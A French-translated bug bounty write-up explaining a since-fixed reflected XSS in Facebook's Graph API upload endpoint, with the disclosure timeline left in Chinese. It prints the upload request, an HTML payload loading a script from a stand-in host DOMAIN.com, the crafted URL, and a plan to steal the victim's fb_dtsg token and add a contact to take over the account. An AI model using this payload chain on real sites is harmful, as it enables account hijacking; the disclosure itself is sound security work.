Maison > Opération et maintenance > Sécurité > Utilisation de la vulnérabilité Reflected XSS pour pirater des comptes Facebook

Utilisation de la vulnérabilité Reflected XSS pour pirater des comptes Facebook

王林
Libérer: 2019-12-28 17:59:36
avant
3049 Les gens l'ont consulté

Utilisation de la vulnérabilité Reflected XSS pour pirater des comptes Facebook

Vulnérabilité

Cette vulnérabilité n'est valable que dans les navigateurs IE et Edge. La cause de la vulnérabilité réside dans certains points de terminaison d'API dans graph.facebook.com. , des mesures d'échappement complètes et sûres ne sont pas mises en œuvre lors du traitement des réponses du code HTML. Le message de réponse est au format JSON, le code HTML est inclus comme valeur de l'un des champs et le message de réponse n'est pas accompagné d'un en-tête Content-Type ou X-Content-Type-Options, j'ai donc la possibilité de utiliser IE/Edge Le code de construction est exécuté.

(Ces deux types de navigateurs analysent la page entière pour déterminer le type de fichier MIME, tandis que d'autres navigateurs ne vérifient que les premiers caractères).

Récurrence de la vulnérabilité

1. Tout d'abord, nous envoyons une requête POST dans la méthode de téléchargement suivante :

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
Copier après la connexion

ACCESS_TOKEN est généré par Facebook. pour un jeton d'accès utilisateur valide généré par l'application propriétaire d'Android, et PAYLOAD est le code HTML que nous souhaitons insérer pour inciter ensuite la victime à s'exécuter dans le navigateur. Lorsque la demande est soumise, le serveur distant renverra une valeur similaire à la suivante, qui contient un identifiant de session qui sera utilisé ultérieurement (veuillez vous référer aux instructions officielles de Facebook pour plus de détails) :

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
Copier après la connexion

Après le test, il a été constaté que dans le message de réponse, il n'y a aucune restriction de politique de sécurité du contenu (CSP), j'ai donc réfléchi à la possibilité d'utiliser un fichier js contenant des liens externes pour insérer du code HTML, par exemple :

<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
Copier après la connexion

2. Le La demande de téléchargement ici est effectuée par le traitement d'encodage Base64 du backend Facebook, l'affichage de retour est le suivant, qui contient la charge utile que nous avons spécialement implantée :

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48
Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
Copier après la connexion

Par conséquent, après avoir utilisé cette chaîne d'encodage, il y aura la requête suivante, qui peut être utilisé pour lancer une requête POST sur Facebook :

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 
0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s
ig=ARaCDqLfwoeI8V3s
Copier après la connexion

3 À partir de là, en utilisant la chaîne de requête ci-dessus, j'ai ajouté le jeton d'accès valide que j'ai généré à l'étape 1, j'ai construit une page Web HTML et je l'ai inséré. mon site Web :

Utilisation de la vulnérabilité Reflected XSS pour pirater des comptes Facebook

Cette page contient un style de soumission, et le message de réponse après les visites des victimes est le suivant :

{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb
AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
Copier après la connexion

Il est important de noter que le fichier de script dans https://DOMAIN.com/script.js m'aidera à voler le jeton CSRF « fb_dtsg » de la victime et pourra envoyer une demande contraignante à https://www.facebook.com/api/graphql/ pour ajouter un numéro de téléphone mobile ou une adresse e-mail afin de réaliser un piratage indirect du compte de la victime.

Réparation de vulnérabilités

1、在file_type参数中加入对HTML代码处理的安全转义措施;
2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。
漏洞上报及处理进程
2019.10.10   漏洞初报
2019.10.10   Facebook确认
2019.10.11    Facebook修复
2019.10.24   Facebook奖励5000$
Copier après la connexion

Articles et tutoriels connexes recommandés : Tutoriel sur la sécurité des sites Web

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:freebuf.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal